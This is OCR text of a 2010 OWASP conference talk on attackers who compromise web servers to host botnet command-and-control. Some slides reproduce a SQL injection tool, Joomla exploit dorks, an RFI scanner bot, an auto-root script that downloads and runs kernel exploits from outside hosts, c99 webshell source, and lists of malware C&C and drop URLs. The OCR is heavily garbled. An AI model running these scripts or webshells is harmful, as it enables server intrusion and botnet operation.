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Bots

9/6/2010



* Everyday access to 100k-2M bots
— Price range from $200 (24hr use) to S50k (to own)

* Self-build botnet provisioning
— Off-the-shelf tools
— Avg. 20k bots within a week (500k if optimized)

* Globally distributed CnC infrastructure (normal)
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Old way New way
(1) Recon the location (1) Target the entire location
(2) Select the most vulnerable site (2) Launch all exploits, against all targets,
(3) Recon the target simultaneously
(4) Test defenses
(5) Exploit weakest vulnerability

“lowest hanging fruit” “the Monte Carlo method”
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* One-to-one relationships are dead

— One botnet per malware (fiction)

— One botnet per operator (fiction)
* Federated ecosystem

— Professional service provisioning

— Cottage industry of plug-ins

— Talented and specialist contractors
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Affiliates Resellers
Distribution, infection, etc. Laundering, traders, etc.

Professional Service Providers (PSS)
Malware, exploit packs, translation, web design, etc.

Managed Service Providers (MSS)
DNS hosting, fluxing services, SEO, etc.

Delivery Providers (SaaS)
iFraméservices, email/phishing campaig#s, etc.

Hosting Providers (Paa$)
Bullet proof hosters, “friendly” ISP’s, malware hosting, etc.

Infrastructure Provigiers (laa$S)
Hacked servers, server hedundgncy, botnet victims, etc.

\/
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Why, how and what for?



* Why Target a Web server?

— It’s a server! ... and it’s probably reliable
* High speed, lots of threads, long uptime
* Up constantly, easy to locate

— It’s better connected!
* Vulnerabilities are easily located and exploited
* Accessible, fast upload/send speed

— It’s trusted by the Internet!

* Reputation is key
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* Commonest ways to pOwn
— Exploitation of “searchable” vulnerabilities

* Exploitation of 3"9-party vulnerabilities
* Exploitation of “custom” webapp vulnerabilities

— Default accounts
— Bruteforcing of key accounts
— Exploiting lax file permissions

— Permission escalation of stolen accounts
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 What is the pOned server used for?
— Core component of global CnC infrastructure
— Bruteforcing additional servers for CnC
— Bypassing blacklist filters
— Reputation hijacking
— Domain virtual host hijacking
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Penetration



* |ldeal features

— Mass exploitation
 ASPROX Botnet (Mass SQL Injection)

— Little work required
» Auto-rooters (for privilege escalation)

— IRC Friendly
— Google Dork’able
— Most tools are also used by web defacers
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platforms submit forum

Sice

Support e-mail
FEEEEE

#
The ultimate archive of exploits and vulnerable software and a great resource for vulnerability researchers and security professionals. (
Cur aim is to collect exploits from submit tals and waricus mailing lists and concentrate them in one, easy to navigate database.

This was written for educational purpose. Use it at wour own risk, Author will be not responsible for any damage. // rO07 2r

Joomla com_surveys Persistent Xss Vulnerability:

Joomla com_ijoomla_rss Persistent Xss Vulnerability
Joomla com_adagency Persistent Xss Vulnerability
Joomla Component com_arash SQL Injection Vulnerability
OpenlouwrnalSystem Stored Xss Vulnerability
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* Automatic page-rank verification \
* Search engine integration for finding
“vulnerable” sites

* Prioritization of results based on probability
for successful injection

* Reverse domain name resolution

* etc.

J
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L]
| Scanner H Mum. Build | Dump Area ‘ Tools || About |
|http:z’f’\- s.com/page. phpPid=-1/"union//all " /select ™ /0x31 ,0232.0:33,0434,0:35.[t], | GET -
= Server

Wersioni ) |5.0.32-Debian_?etch8-|og

| User(}: |}

s@localhost

Server: |Apachef2.2.3 {Debian) mod_pythony'3.2.10 Python/2.4.4 PHPJS.2.0-8+etch13 mod_perlf2.0.2 Perlj+5.5.8

Data Bazes A | Tables A Columng
lonestarmotorsportspark temptable Item_|D
lonestarmotorsportspark. bak zE3zi0n Order_E=tPrice
mysal pictures Itern_MName
phiotoalburm ordertable OrderDate
Terminatord 27 || new_info Order_Price
tunerschool || mail_list ||| Order_Qty

link:s Order_Color
[ Get Users/Passwords ] itemnzsize Cust_ID
[ Got Data Bases ] !tempnce Order_Size
itemcolor
[ Get Tables ] irventorny
| b
[ secoms ) oo v

Manwally Query {Advanced)

[ Dump data [Selected Columnz) ] [ Clipboard ] [Export to ".xml] [ Export to * bt

Add Condition [] |

Setup

TimeOut:
Max. Pages:
Sleep Page:

Lirnit 2

Enabled Login [[] User Name: l:l Password: Get Info

5000 %
100 %
502
T

-

Uszerdgent
Mozilla/d.0 [compatibl =

: B

18 5250000
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Smodules fcoppermine/themes /default/theme.
Smodules fAnAlbum/public/displayCategory .
Smodules fcoppermine/themes /coppercop/theme.
JSmodules fcoppermine/themes maze /theme.
Smodules fcoppermine/themes /default/theme.
Smodulesfcoppermine/include/init. .
JScomponents/com_extcalendar/admin_ewents.
Scomponents /com_loudmounth/includes /abbc/abbc.
Scomponents /com_smf/smf .
Scomponents,/com_wvideodb/core/videodb.
Scomponents,/com_simpleboard/image upload.
Scomponents,/com_simpleboard/file upload.
Scomponents /com_hashcash/server.
Scomponents,/com_htmlareal xtd-c/popups/
Scomponents,/com_sitemap/sitemap. -
Scomponents /com_forum/download.

Scomponents /com_pccookbook /pccookbook.
Scomponents/com_extcalendar/extcalendar.
Scomponents /minibb/index.
Scomponents,/com_smf/smf .
Scomponents/com_pollxt/conf. .
Scomponents/com_loudmounth/includes /abbc/abbc.
Scomponents,/com_wvideodb/core/videodb. .
Scomponents /fcom_pcchess /include. -
Scomponents /com_mambatstaff /mambatstaff.
Scomponents /com_securityimages/configinsert.
Scomponents,/com_securityimages,/lang.
Scomponents,/com_artlinks /artlinks.
Scomponents,/com_galleria/galleria. -
Sadministrator/components,/com multibanners /extadminmenus.
Sela? fel187 handlers/secure_img_render. =
Smodules Spublic/inc/ CL_path=
Smodules )/ Spublic/displayCategory .
Smodules f Sindex. =
Smodules JSadmin/index.

Smodules Sadmin/admin_awvatar.
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Bug Dork LFI joomia

lijo findex_php?option=com_g2bridge&controller= "com_g2bridge"”
lijo /index_php?option=com_medigna&controller= "com_medigna" A ”Goog|e Dork” is a
lijo findex_php?option=com_mscomment&controller= "com_mscomment” q

lijo index_php?option=com_jejob&view= "com_jejob" specially crafted search
lijo findex_php?option=com_dioneformwizard&controller= "com_dioneformwizard"” query which can be

lijo findex.php?option=com_smartsite&controller= "com_smartsite”
lijo /index_php?option=com_noticeboard&controller= "com_noticeboard” USEd, for example, to
lijo /index_php?option=com_orgchar&controller= "com_orgchart”

lijo findex_php?option=com_ultimateportfolio&controller= "com_ ultimateportfolio”

return results detailing
lijo findex.php?option=com_wmi&&controller= "com_wmi" a|| Websites running a

lijo findex_php?option=com_archernyscores&controller= "com_archeryscores”
ljo findex. php?option=com_zimbcomment&controller= "com_zimbcomment”
lijo findex php?option=com_zimbcore&controller= "com_zimbcore"

lijo findex.php?option=com_gadgetfactory&controller= "com_gadgetfactorny™
lijo findex_php?option=com_multimapé&controller= "com_ multimap"

ljo findex. php?option=com_multirooté&controller= "com_multiroot”

lijo findex php?option=com_matamko&controller= "com_matamko"”

lijo findex.php?option=com_google&controller= T (@ ¥
lijo findex_php?option=com_if _surfalertd&control
lijo findex. php?option=com_drawroot&conirollc gge!

Hjor fcomponents/com_extcalendd uid=526(hlinux) gid=522{hlinux)
[LANGUAGES DIR]= "admin_events php" groups=522{hlinux)){@E }

lijo /icomponentsicom_extcalendIGEEL) IR N LEIE] DR {CHENS Tt 3 )

[LAMNGUAGES DIR]= "admin_events. php"

specific version of a
specific application...

E
uid=583({jpbgcom)
gid=583(jpbgcom) groups=583{jpbgcom}}{@ 3
“Google Dorks” for [067:30] <@ijoScan> (@ (@ ¥ ¢ )

VopCrew 1JO Scanner v1.2 (@

uid=1377{s0sglter)
gid=188{users) groups=188{users)){E )
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LFI Intruder

Single LFI vulnerable scanner
SCT SQL Scanner

Priv8 RFI Scanner v3.0
PITBULL RFI-LFI Scanner
Osirys SQL/RFI/LFI Scanner

#l/usribin/perl

$process = "fusr/local/apache/bin/httpd -DSSL";

my $printcmd = "hitp://imaybe9.webs._com/bodol txt??";

my $id = "http://alexsa. justiree com/id-vne. txt??";

my $spread = "http://www.urisan. tche.br/i~escola//asu/usil-spreads. txt?";

my Sircserver = "irc.ourchat.info";

my $start = "lcari",

my $port = "6665";

my $nickname = "RFI[" . int( rand(9) ) . 'T";

my $admin = "moncrot";

my $channel = "#scanner", ## the normal chan to scan, and see the results too :P
my $chanres = "#esia"; ## the channel where u can find all the results of the bot
my $verz = "Priv8 RFI Scanner v3.0 FULL VERSION";

print "™n";

print " Priv & Scannerin”;

print " Author: Moncrot",

print " Release $verzin";

print " Server Sircserver-$porfin”;
print " $channel and $chanresi\n";
print " Enjoy :)\nin";

use |0 Socket INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;

S|4+

etc ect....

VopCrew 1JO Scanner (LFI/RFI with Dorks)
FeeLCoMz RFI Scanner Bot 5.0 (FaTaLisTiCz)

OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



.:9: LFIntruder #01 Product = [ m.

Target Url:
hitp: / /vwww_ Sl c gi-bin/ area/pub. cqi?href<
LFI File Path: & Enable Proxy

C:xDocuments and Settings D =ktopsLF ntrudersIi bt 19.70.40.102:2020 1 Check IP

Execution output:
20/02/2010 3.36.32 . LFI Test Finizhed... http: /Ay, - 0i-bin/ area/pub. caithref=. /. 4. /. fprocdzelf/environ

LFI Result: HTHL Output:

-~ http:.-".-’www."u:gi-l:uin.-"area.-’pub.cgi?href;..-"...-"...-"...-"...-"etu:.-"passwd atx-25-25Batch ijE daemDn:-"var.-"ipcrcrl-"atjDbﬁ:-'"bin-‘"bash avahix-102-

- : - Fhref=

Nt Y gy b SO Avahi:'var/run/avahi-dacmon:/bin false beagleindexx:107:109:-User for
indexingvar/cache/beagle:bin'bash binzx:1:1:bin:bin:bin'bash
daemonz:2: 2 Daemon:/sbin:bin'bash dhepd=:106:65534:DHCP serv
daemon:var/lib/dhcprbinfalse fipx4049F TP account:/srv/ftp:bin'be
games:12:100:Games account:var/games:bin'bash haldaemon=:104
haldaemon:var/run‘hal:binfalse lpzcd:7 Printing dasmon:var/spoollp
mail=:8:12Mailer daesmon:var/spool/clientmqueue:’binfalse messaget
D-Bus:var/run/dbus:binfalse mysglzc60: 108 MvSQL database =
admin:var/lib/mysglbinfalse nobody=x:65534:65533 nobodyvar/lib/
ntp:74:101:NTP daemon:var/lib/ntp:bin‘false
polkituser=:103:105PolicyKit:var/runPolicyKit /binfalse postfixzs1
Daemon:var/spool‘postfioc/binfalse rootz:0:0rootroot/bin'bash sshe
daemon-var/lib/sshd-binfalse suse-ncex:105:107 Novell Customer C
User:var/lib/YaST2/suse-nce-fakehome:bin/bash midd~-101:103:1:
muidd:var runmidd: binfalse wwwrunzoe3 028 WWW daemon
apache:var/lib/wwwiun:binfalse vizzini=:1000:100:guido vizzini-hom
manz:13:62Manual pages viewer:var/cache/man:'bin'bash newsx9:1 +

I »
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echo "Trying 2.4-2.6 [ pwned ] localroot...™;

#!/bin/sh wget http://s3ym3n.by.ru/localroot/2.4%202.6/pwned.c;
# Rutoc Rooting Script wer 1.0 gcc pwned.c -o pwned;
# . /pwned;
&/ \ £l \ \ / checkraot;
:If fl\ \1 : >| T_:f <_>\J : | _i; <_>\|f <_>\J echo "Trying 2.6.4 [ hude ] localroot...™;
- - - wget http://s3ym3n.by.ru/localroot/2.46.4/hudo.c;
#h__ Il A S N | T A VY A W & gce hudo.c —o hudo:
# \v) Av ./hudo;
#To start script "./arcot.sh" checkroot:

#Developers: AnnexxEmpire, axe
#Greetz to all members of S55team

checkroot () |

if [ "${id -u)" = "0™ ]; then
cd ..;

rm -r expl;

echo "Got root :D";

exit; gec elfed2.c —o elfcd2;

else .felfcd2;

echo "No good. Still "“whoami®; checkroot;

echa "";

fir echo "Trying 2.6.13-17 localroot...™;

1 wget http://s33ym3n.by.ru/localroot/2.6.13-17/2.6.13_17_4 2011.sh;
chmod 755 2.6.13_17_4_2011.sh;

uname -a: ./2.6.13_17_4_2011.sh;

. checkroot;

mkdir expl;

cd exply echo "Trying 2.6.13 [ raptor-prctl ] localroot...™;

echo "Checking if already root..."; wget http://s3ym3n.by.ru/localroot/2.6.13/raptor-pretl.cr

checkroot; gcc raptor-prctl.c -o raptor-prctl;
./raptor_prctl;

echo "Trying wunderbar...": checkroot;

echo "Trying 2.6.9-22 [ prctl ] localroot...™:

wget http://33ym3n.by.ru/localroot/2.46.9-22/protl.cy
gce prctl.c -o protls

./prectl;

checkroot;

echo "Trying 2.6.12 [ elfcd? ] localroot...™:
wget http://33ym3n.by.ru/localroot/2.6.12/elfcd2.c;

wget http://www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-eXploit.tar.gz;

tar -xvi sock-sendpage-local-root-expleit.tar.gz;
cd socck-sendpage-local-root-exploit;

. /wunderbar emporium.sh;

checkroot;

echo "Trying gayros...":

wget http://wWwW.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c;

gocc -0 gayros local-root-exploit-gayros.c)
.Jgayros;
checkroot;

echo "Trying vmsplice...";

wget http://www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c;
gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c;

./vmsplice-local-root-exploit;
checkroot;

echo "Trying 2.6.% lecalroot...™:

wget http://rmccurdy.com/scripts/downloaded/localroot/2. 6.8/ 827

fude

echo "Trying 2.6.14 [
wget http://s3ym3n.by
chmod 777 raptor;
./raptor;

checkroot;

echo "Trying 2.6.15 [
wget http://33ym3n.by
chmod 777 raptor;
./raptor;

checkroot;

echo "Trying 2.6.17-4
wget http://s3ym3n.by
gcc raptor-prctl.c -o
./raptor-prctl;
checkroot;

echo "Trying 2.6.10 [
wget http://s3ym3n.by

raptor ] localroot...™;
.ruflocalroot/2.6.14/raptor;

raptor ] localroot...™;
.ru/localroot/2.6.15/raptor;

[ raptor-prctl ] localroot...™;
.ruflocalroot/2.6.17-4/raptor-pretl.c;
raptor-protl:

uselib24 ] localroot...™;
.ru/localroot/2.6.10/uselib24.c;

geo uselib24.c -o uselibld;

./uselib24;

RSP I
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Exploitation



* Exploiting a vulnerability in phpMyAdmin
— Deblan DSA-2034-1 (April 17 2010)

CVE-2008-7251 - phpMyAdmin may create a temporary directory, if the configured
directory does not exist yet, with insecure filesystem permissions.

* CVE-2008-7252 - phpMyAdmin uses predictable filenames for temporary files,
which may lead to a local denial of service attack or privilege escalation.

e CVE-2009-4605 - The setup.php script shipped with phpMyAdmin may unserialize
untrusted data, allowing for cross site request forgery.

* Botnet agent “dd_ssh” installed on the server

— Drops the malicious files in /tmp/vm.c and
/tmp/dd_ssh, and then starts the “dd_ssh” service

 Bruteforce SSH servers... (mid-August 2010)
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Mostly Kiddiez with
RFI Scannerz

Effective for low
hanging fruit
Remotely executed &
Run as “www” user
— PHP IRC Bots

— Web Shells (c99/r57)
— Database Dumpers

Code usually publicly
available
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* Find a free upload site
— Upload php site as .txt

— Find vulnerable target site
* RFI Scanners make this easy

— Execute Uploaded php as remote file
o http://www.targetsite.com/index.php?f="http://freeuploadsite.com/phpshell.txt”

— Upload C&C control panel on target site

— Vulnerable because of no input sanitization

e.g. <php
include ($ GET[ ‘page’]);
?>
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http://www.targetsite.com/index.php?f=“http://freeuploadsite.com/phpshell.txt

Website with PHP as “txt’ file ready for use against target
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Compressed base64 webshell code hosted on free web hosting site
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Basic RFI Scanner (many publicly available, most written in python/perl)
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Many scan 1000++ statically known URI’s against targets (detection is rather easy)
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Hundreds of Web backdoors

— “Auto-rooters” or password extraction
— Most based on 3 sources of code...

R57
C99
Locus7Shell

— Enables Full control of website
via browser
— Webshell code non-existent locally

* Anti-Forensics
* Visible via web log analysis

The backdoors have a
range of functionality,
but most of them will
have methods to bypass
PHP security functions,

steal information,
read/modify files, access
SQL databases, crack
passwords, execute
arbitrary commands and
escalate privileges.

* Executable processes by WWW visible (unusual)
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< ?php
fx

R R R R R R R R R R N R R R R R R R R R R R R R RN RN AR R RN R AR R AR R AR R R AR R &S

# c889zhell.php v.1.0 pre-release build #12
® Freeware license.

® @ CCIeaM.

* £89shell - 222222222227 092927 www—2222227, W2PI209223WM 927 223227

® 97 299727 27927277 2729297 227272727 297727 27 27297727 2729779972 22727272772:

http://ccteam. ru/releases/c99shell

function_disglaysecinfo(Sname,&value] {if (lempty(Svalue)) {if ('empt:
display=secinfo ("05 Ver=sion?",myshellexec("cat /proc/version™)):
displaysecinfo ("Kernel wversion?" ,myshellexec("sy=sctl -a | grep wersior

displaysecinfo ("Distrib name",myshellexec ("cat fetc/issus.net")):
displaysecinfo ("Distrib name (2)",myshellexec("cat /etc/*-realise")):
displaysecinfo ("CPU?",myshellexec ("cat /proc/cpuinfo™)):
displaysecinfo ("RAM" ,myshellexec ("free -m")):

displaysecinfo ("HDD space™, myshellexec ("df -h"));

displaysecinfo ("List of Attributes",myshellexec ("lsattr -a"));
display=secinfo ("Mount options ",myshellexec("cat /etc/fstab™));:
displaysecinfo ("Is cURL installed?",myshellexec("which curl™)):
displaysecinfo ("Is lynx installed?",myshellexec ("which 1lynx")):
displaysecinfo("I=s links installed?" myshellexec ("which links")):;
displaysecinfo ("Is fetch installed?", myshellexec ("which fetch")):
displaysecinfo ("Is GET installed?",myshellexec("which GETI")):
displaysecinfo ("Is perl installed?", myshellexec ("which perl™)):
displaysecinfo ("Where is apache" myshellexec ("whereis apache™)):
displavsecinfo ("Where iz perl?” myshellexec ("whereis perl™));
displaysecinfo("locate proftpd.conf" myshellexec ("locate proftpd.conf’
displavsecinfo ("locate httpd.conf” myshellexec ("locate httpd.conf™));
displaysecinfo("locate my.conf”, myshellexec ("locate my.conf™)):

displaysecinfo("locate psybnc.confi" myshellexec ("locate psybnc.coni™)

if (fact == "mkfile")
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8)

9) Added DB+table crea n, D 3
10} Updated se useful details
11} Greatly

12} Added b

13) Added I

Added

restr

ini set("memory limit"™,6 "256M");

O A e e M M ek ke e e e e T T Bk He T e W

set_magic gquotes_runtime(0):

session_start():

ob_start():

sstart=microtime () ;

iZ(isset ($_GET['theme']})) % SESSION['theme']=%_GET['theme']:

//Thanks korupt ;)

sbackdoor c="DQo]aWsjbHVEZSASYXNtLZ1vY3Rscy5oPgOKI21luY2x]l ZGUgPHNScy90aWl 1Lng+L
$backconnect perl="IyEvd¥NyL2JpbidwZXJsD0plc2UglU2a]aZVoowiKbXkgKCRpYWRECiwkoGe
$pl_scan="DQolIyEvd¥NyL2JpbidwiXIaD0plc2Ugd2 FybmluZ 3M7D0pl c2UgciRyaWi 00w 0 KdX1

Note URL — Remote code running locally — Site Owned!
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k2php

s

//for php proxy purposes

function selfURL() { $s = empty($_SERVER["HTTPS"]) ? "' :
($ SERVER["HTTPS"] == "on"™) ? "s" : ""; Sprotocol = strle
(strtolower (5_SERVER["SERVER PROTOCOL"1), "/").$s; S$port
($_SERVER["SERVER PORT"] == "80") 2 "" : (":".$ SERVER
["SERVER PORT"]); return S$protocol."://".S$ SERVER['SERVEE
Sport.$_SERVER['REQUEST URI']; } function strleft($sl, %=

return substr($sl, 0, strpos($sl, $s2)); 1}
$selfurl = baseéd4_encode (selfURL());
$phprox="http://twofaced.org/proxy/index.php?g=".%selfurl

//end of link

//milwOrm search

$Lversion = php_ uname (r);

$08V = php_uname (s) ;

if (eregi ("Linux", $05V))

{

$lwversion=substr ($Lversion, 0, 6);
Smillink="http://milwOrm.com/search.php?dong=Linux Kernel
$Lversion;

lelse{

S$lversion=substr ($Lversion, 0, 3);
$millink="http://milwlrm.com/search.php?dong=".50Sv." ".
SLversion;

}
16"USAZ POwn3d for Botnet CnC — Gunter Ollmann
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CnC URU's




* Bot agents need to connect to CnC

— Receive new configuration files, malware updates,
lists of backup CnC, receive cached commands

e Structured CnC configutation URL'’s
— Frequently indicates DIY pack being used
— Can help identify botnet operator group

9/6/2010
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ZeusS Kit Default URL URL Type

zephehooqu.ru/bin/teemaeko.bin CnC
iveeteepew.ru/bin/teemaeko.bin CnC
jocudaidie.ru/bin/cahdoigu.bin CnC
johgheejae.ru/bin/oopaiboo.bin CnC
kaithuushi.ru/bin/aiphaipi.bin CnC
deilaeyeew.ru/bin/ucuosaew.bin CnC
adaichaepo.ru/bin/thootham.bin CnC
ootaivilei.ru/bin/thootham.bin CnC
voraojoong.ru/bin/saejuogi.bin CnC
dahzunaeye.ru/bin/sofeigoo.bin CnC
ohphahfech.ru/bin/baiquaad.bin CnC
ohphahfech.ru/bin/eegotook.bin CnC
ohphahfech.ru/bin/hueghixa.bin CnC
ohphahfech.ru/bin/laangiet.bin CnC
ohphahfech.ru/bin/oomiephe.bin CnC
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ZeusS Kit Custom Cnc URL URL Type

freehost21.tw/b/cfg375.bin CnC
www.technoplast.com.ua/catalog/nibco/tmc.bin CnC
askuv.com/percent/update.bin CnC
leadingcase.cc/20aug_old.com CnC
mswship.com/xed/config.bin CnC
nascetur.com:81/wc/cof58.bin CnC
nascetur.com:81/wc/g6.php Drop Site
nascetur.com:81/wc/512.exe Trojan
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Custom CnC URL URL Type

CnC
gigafleet.ru:8080/new/controller.php

CnC
globaljoke.ru:8080/new/controller.php

CnC
gothguilt.ru:8080/new/controller.php

CnC
greatfile.ru:8080/new/controller.php

CnC
greatmoder.cn/bm_a/controller.php?action=report&guid=0&rnd=123&uid=5&entity=

CnC
hjwbxhgr.cn/win-xp/controller.php?action=bot&entity_list=&uid=1&first=1&guid=3496937282&v=15&rnd=11987634

CnC
imoviemax.ru/new/controller.php?action=bot

CnC
krottorot.cn/ging/controller.php?action=bot&entity_list=&uid=&first=1&guid=1824245000&rnd=946862

CnC
krottorot.cn/ging/controller.php?action=report&guid=0&rnd=946862&uid=&entity=1241486361:unique_start

CnC
mmsfoundsystem.ru/public/controller.php?action=bot&entity_list=&uid=&first=1&guid=13441600&v=15&rnd=8520045

CnC
websitecheck.cn/nr/controller.php?action=bot&entity_list=&uid=&first=1&guid=1824245000&rnd=140493

CnC
worldhostdns.com/FOOD/controller.php?action=bot&entity_list=&first=1&rnd=981633&uid=1&guid=4723841

CnC
www.ghthchinalimited.com.cn/admin/controller.php?action=bot&entity_list=1238216956&uid

CnC

youaskedthedomain.cn/spl/controller.php?action=bot&entity_list=&uid=666&first=1&guid=13441600&v=15&rnd=36431478
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Custom Exploit Kit URL

google.analytics.com.bidxctvqvwrw.info/nte/GNH4
xtmhltmxaacg.com/Id/bernfr/
acdlsmladve.com/nte/GNH4
ddehkyhddve.com/nte/GNH4
ddewphwddve.com/nte/prox.exe
ghtsuumuno.com/nte/GNH4
google.analytics.com.vwrvgmvrvjwi.info/nte/GNH4
Ibckgbkldve.com/nte/GNH4

uefnwtnudve.com/nte/GNH4

URL Type

Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
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Custom Exploit Kit URL URL Type

acdlsvladve.com/nte/INDEPS8
berber2update.biz/cgi-bin/kin
dbcavsaddve.com/nte/indep8
diaiscjdthr.com/nte/INDEPHANDLER
googleinrus.in/cgi-bin/plt
jbaagpepjvc.com/nte/NONE1
strbypass.uz.ua/cgi-bin/guest
yburuvaegcv.com/nte/nonel
footbal.rv.ua/cgi-bin/guest
jefshosjdve.com/nte/INDEPHANDLER.py

Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
Exploit Kit
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Gozi Kit Default URL

89.187.37.106/cgi-bin/options.cgi?user_id=521239303&version_id=2 cnC
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=2&crc=00000000
89.187.53.197/cgi-bin/options.cgi?user_id=1102239761&version_id=14 cnC
&passphrase=fkjvhsdvlksdhvilsd&socks=0&version=14&crc=78c6dbd2
27.131.32.20/cgi-bin/forms.cgi CnC
91.213.174.40/cgi-bin/forms.cgi CnC
91.213.174.40/cgi-bin/options.cgi?user_id=2527700603&version_id=18 CcnC
&passphrase=fkjvhsdvlksdhvilsd&socks=0&version=18&crc=78c6dbd?2
27.131.32.20/cgi-bin/options.cgi?user_id=2527700603&version_id=18 cnC
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=18&crc=78c6dbd?2
77.78.240.135/cgi-bin/options.cgi?user_id=1964493172&version_id=3059 cnC
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=3080&crc=3cc43328
hasterulits.com/cgi-bin/options.cgi?user_id=2219249075&version_id=4667580 cnC
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=4667580&crc=00000000
tryfindithere.com/cgi-bin/cmd.cgi?user_id=2439225677&version_id=3076 cnC

&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=3076&crc=00000000

OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



Koobface URL URL Types

Malware Drop Site

69.47.32.230/d=mcfl-msnl.com/0x3E8/view/console=yes/setup.exe

69.47.32.230/d=tmpu.org/0x3E8/view/console=yes/setup.exe Malware Drop Site

74.203.223.7/d=ayava.org/0x3E8/view/console=yes/setup.exe Malware Drop Site

74.203.223.7/d=chrepro.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

76.123.62.208/d=abid.co.cc/0x3E8/view/console=yes/setup.exe Malware Drop Site
76.123.62.208/d=chrepro.com/0x3E8/view/console=yes/setup.exe Malware Drop Site
84.108.198.143/d=turk-ie.org/0x3E8/view/console=yes/setup.exe Malware Drop Site
84.108.198.143/d=turk-ie.org/0x3EB/view/console=yes/setup.exe Malware Drop Site
98.235.240.245/d=brevard-fl.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

agr255.cne-escutismo.pt/.sys/?getexe=fb.75.exe Malware Drop Site

boatnews.eu/.sys/?getexe=fb.76.exe Malware Drop Site

car-transport.com.au/.sys/?getexe=fb.101.exe Malware Drop Site
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Malware Drop
barcalys-trial3.com/main/bin/build.exe

Malware Drop
coundnes.com/cache/bin/build.exe

Malware Drop
eu-analytics.com/sp4a/bin/1_sp4a_new.exe.crypted.exe
217.23.7.21/date/gate.php?guid=User!SANDBOX0!D06F0742&ver=10129&stat=ONLINE&ie=6.0.2900.2180&0s=5.1.2600&ut= cnC
Admin&cpu=19&ccrc=3D893DD9&mMd5=60d6d584515e€1925e0d0c9edd8b32eed
200.63.45.69/~datosco/main/gate.php?guid=User!SANDBOX2!D06F0742&ver=10132&stat=ONLINE&ie=6.0.2900.2180&0s=5.1 cnC
.2600&ut=Admin&cpu=100&ccrc=690E5C55&md5=82beh808bef523b7660af10266377407
91.213.174.34/spyeye_main/gate.php?guid=User!SANDBOX2!D06F0742&ver=102008&stat=ONLINE&ie=6.0.2900.2180&0s=5.1. cnC
2600&ut=Admin&cpu=228&ccrc=B144ABF5&md5=e8a713c24a38b9339474f71f5bcff78a
77.78.240.162/spye/gate.php?guid=User!' SANDBOX0!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.2180&0s=5.1.2600&ut cnC
=Admin&plg=ftpbc&cpu=100&ccrc=8CCFEOAB&mMd5=84a9aedb378c3ec297a775c1f7fc573a

CnC
113.11.194.173/eye/main/gate.php

CnC
204.12.243.187/main/gate.php
200.56.243.137/includes/admin/gate.php?guid=User! SANDBOX2!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.2180&0s= cnC
5.1.2600&ut=Admin&cpu=80&ccrc=3FFOF25D&md5=86e1bb6f428421a06bdaelb2b55323d1

CnC
200.56.243.137/includes/phpbb/gate.php

CnC
200.56.243.137/joomla/admin/gate.php
cocainy.net/spmini/gate.php?guid=User!SANDBOX0!D06F0742&ver=10225&stat=ONLINE&ie=6.0.2900.2180&0s=5.1.2600&ut cnC
=Admin&cpu=100&ccrc=ED1A0A53&md5=1aal16572aee1486c7cd8c78dad9cb510
craken.biz/aimpis/gate.php?guid=User!SANDBOX2!D06F0742&ver=10211&stat=ONLINE&ie=6.0.2900.2180&0s5=5.1.2600&ut=cnC
_Admin&cpu=100&ccrc=3AF32A5D&md5=a5c67adc367e850f49c441b2ceed4b59b
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Oficla URL

www.dosuguss.net/myl/bb.php?v=200&id=130451189&b=dosug&tm=106
www.freecapch.info/flashcapch/bb.php?v=200&id=199826733&b=8519124969&tm=2
www.freecapch.info/flashcapch/bb.php?v=200&id=199826733&b=spmt4&tm=2
www.global-tickets.net/myldr/bb.php?id=528593412&v=200&tm=223&b=0688077080
www.gnfdt.cn/loader/bb.php?id=913882973&v=200&tm=45&b=4802728596
www.myloader.cn/mld/bb.php?id=962312204&v=200&tm=3&b=centrino
www.tomorrrrow.cn/loader/bb.php?id=287204598&v=200&tm=729&b=svyazka
onufriy.3utilities.com/loading.php?spl=MS09-002
Orgazmer.com/dmr/bb.php?id=555611691&v=200&tm=2&b=NONE25
admln.ru/dmr/bb.php?id=123456789&v=200&tm=1
andige.net/forum/bb.php?v=200&id=636608811&b=Liberty2&tm=2

apsight.ru/my/bb.php?v=200&id=123456789&b=goldstat&tm=3

CnC
CnC
CnC
CnC
CnC
CnC
CnC
CnC
CnC
CnC
CnC
CnC
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Oficla Sasfis URL

124.217.239.26/_sys/bb.php?v=200&id=636608811&b=6133081851&tm=2
84.19.161.62/802374/22.php?v=200&id=636608811&b=579&tm=2

91.188.59.21/12345/bb.php?v=200&id=636608811&b=balul&tm=2
84.19.161.62/902834/1930.php?magic=04bf04c00001 & ox=2-5-1-
2600&tm=3&id=24905431&cache=4154905385&N=0

77.221.153.183/.Ist/bb.php?v=200&id=554905388&b=SPL0002&tm=3
ablegang.com/master/bb.php?v=200&id=123456789&b=2725761651&tm=1
aervrfhu.ru/kjflth/bb.php?v=200&id=636608811&b=8696290604&tm=3
autotradersuk.net/arc/bb.php?v=200&id=636608811&b=0219Is12&tm=2
baksomania2010.ru/kuzy/bb.php?v=200&id=636608811&b=3mart&tm=3

CnC
CnC
CnC
CnC

CnC
CnC
CnC
CnC
CnC

OWASP AppSec 2010 USA — POwn3d for Botnet CnC — Gunter Ollmann



Otlard URL

alhatester.com/cp/tasksz.php?dc
bOOtlife.com/cp/tasksz.php?dc
lovinezer.com/cp/tasksz.php?dc

mcdOnalds.com/cp/tasksz.php?dc

CnC
CnC
CnC
CnC
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/™

CnC

